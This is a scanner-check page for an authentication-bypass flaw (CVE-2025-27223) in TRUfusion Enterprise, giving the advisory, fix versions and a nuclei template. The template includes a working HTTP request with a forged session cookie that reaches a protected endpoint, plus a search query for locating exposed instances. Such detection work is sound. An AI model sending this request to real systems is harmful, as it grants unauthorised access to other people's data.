TRUfusion Enterprise <= 7.10.4.0 - Authentication Bypass

criticalseverity

2.2%likelihood of exploitation, next 30 days

83%of all CVEs are less likely

Readycheck to confirm it

Hard-Coded Cryptographic key allowing to forge session cookies that can be used to entirely bypass authentication

Impact

Attackers can forge session cookies using hard-coded cryptographic keys to completely bypass authentication, gaining unauthorized access to the system with arbitrary user privileges.

Fix

Upgrade TRUfusion Enterprise to a secure version by updating to one of the following releases: 7.10.3.1, 7.10.1.1, 7.10.1.0, 7.10.3.0, 7.9.6.1, 7.9.6.0, 7.9.5.0, 7.9.4.0, 7.9.3.1, 7.9.3.0, 7.9.2.1, 7.10.2.0, or 7.10.0.1.

How to confirm it

Send: GET /trufusionPortal/getProjectList?userId=1
Positive when: contains_all(body,"\"profileName\":","\"name\":") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-27223 -u <target>

The full check

id: CVE-2025-27223

info:
  name: TRUfusion Enterprise <= 7.10.4.0 - Authentication Bypass
  author: DhiyaneshDK,rcesecurity
  severity: critical
  description: |
    Hard-Coded Cryptographic key allowing to forge session cookies that can be used to entirely bypass authentication
  impact: |
    Attackers can forge session cookies using hard-coded cryptographic keys to completely bypass authentication, gaining unauthorized access to the system with arbitrary user privileges.
  remediation: |
    Upgrade TRUfusion Enterprise to a secure version by updating to one of the following releases: 7.10.3.1, 7.10.1.1, 7.10.1.0, 7.10.3.0, 7.9.6.1, 7.9.6.0, 7.9.5.0, 7.9.4.0, 7.9.3.1, 7.9.3.0, 7.9.2.1, 7.10.2.0, or 7.10.0.1.
  reference:
    - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2025-27223.txt
    - https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/
    - https://docs.rocketsoftware.com/bundle/trufusion_rn_71031/page/kwg1743156415157.html
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="TRUfusion"
  tags: cve,cve2025,trufusion,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        GET /trufusionPortal/getProjectList?userId=1 HTTP/1.1
        Host: {{Hostname}}
        Cookie: COOKIELANG=de; COOKIEID=FEF2DF1C36FFF2E3;

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"\"profileName\":","\"name\":")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from